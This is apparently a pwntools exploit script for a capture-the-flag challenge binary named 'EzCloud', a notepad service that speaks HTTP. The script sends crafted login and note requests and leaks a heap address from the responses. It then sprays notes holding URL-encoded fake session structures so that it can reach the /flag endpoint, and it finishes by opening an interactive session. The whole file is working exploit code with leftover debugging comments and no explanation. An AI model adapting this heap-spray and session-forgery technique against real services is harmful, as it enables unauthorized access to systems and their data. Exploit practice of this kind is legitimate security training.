from pwn import *
import tty

context.log_level = 'debug'

p = process('./EzCloud')

def login(loginid):
    html = '''POST /login HTTP/1.1\r
Content-Length: 1024\r
Login-ID: %d\r
Content-Type: application/x-www-form-urlencoded\r\n\r
'''%(loginid)
    p.send(html)
    p.send(chr(tty.CEOF))

def new_note(loginid,content,contentLen):
    html = '''POST /notepad HTTP/1.1\r
Content-Length: %d\r
Login-ID: %d\r
Note-Operation: new%snote\r
Content-Type: application/x-www-form-urlencoded\r\n\r
'''%(contentLen,loginid,'%20')
    html += content + '\r\n\r\n'
    p.send(html)
    p.send(chr(tty.CEOF))

def delete_note(loginid,noteid):
    html = '''POST /notepad HTTP/1.1\r
Content-Length: 1024\r
Login-ID: %d\r
Note-Operation: delete%snote\r
Note-ID: %d\r
Content-Type: application/x-www-form-urlencoded\r\n\r
'''%(loginid,'%20',noteid)
    p.send(html)
    p.send(chr(tty.CEOF))

def edit_note(loginid,noteid,content,contentLen):
    html = '''POST /notepad HTTP/1.1\r
Content-Length: %d\r
Login-ID: %d\r
Note-Operation: edit%snote\r
Note-ID: %d\r
Content-Type: application/x-www-form-urlencoded\r\n\r
'''%(contentLen,loginid,'%20',noteid)
    html += content + '\r\n\r\n'
    p.send(html)
    p.send(chr(tty.CEOF))

def get_note(loginid):
    html = '''GET /notepad HTTP/1.1\r
Content-Length: 1024\r
Login-ID: %d\r
Content-Type: application/x-www-form-urlencoded\r\n\r
'''%loginid
    p.send(html)
    p.send(chr(tty.CEOF))

def get_flag(loginid):
    html = '''GET /flag HTTP/1.1\r
Content-Length: 1024\r
Login-ID: %s\r
Content-Type: application/x-www-form-urlencoded\r\n\r
'''%(loginid)
    p.send(html)
    p.send(chr(tty.CEOF))

login(1)
p.recv()

new_note(1,'%41',1)
p.recvuntil('</body></html>')
edit_note(1,0,'%42',2)
p.recvuntil('</body></html>')
get_note(1)
heap_info = p.recvuntil('</body></html>')[-28-5:-28]
#print(heap_info.hex())
heap_addr = u64(heap_info.ljust(7,b'\x00').rjust(8,b'\x00'))
print(hex(heap_addr))
#exit(0)
fake_session = heap_addr + 0x5700
payload_str = ''
payload =  p64(1) + p64(fake_session-0x30) + p64(0x10) + p64(3) + p64(fake_session-0x20)
for i in range(len(payload)):
    payload_str += chr(payload[i])
#print(type(payload_str))
payload_str = urlencode(payload_str)
payload_str = 'a'*0x60 + payload_str + 'a'*0x8
print(len(payload_str))

for i in range(16):
    new_note(1,payload_str,1024)
    p.recvuntil('</body></html>')

#new_note(1,'a'*0x60,1024)
#gdb.attach(p)
#pause()
#734b
#p.recvuntil('</body></html>')

#gdb.attach(p)
#pause()
#765c
#73EB

get_flag('aaa')
p.recv()

#get_flag('aaa')
#p.recv()
p.interactive()

#0x55fac9cdb230
#0x55fac9cd5a00
#0x53970-0x4ea00=0x4f70
#0xc970-0x7a00=0x4f70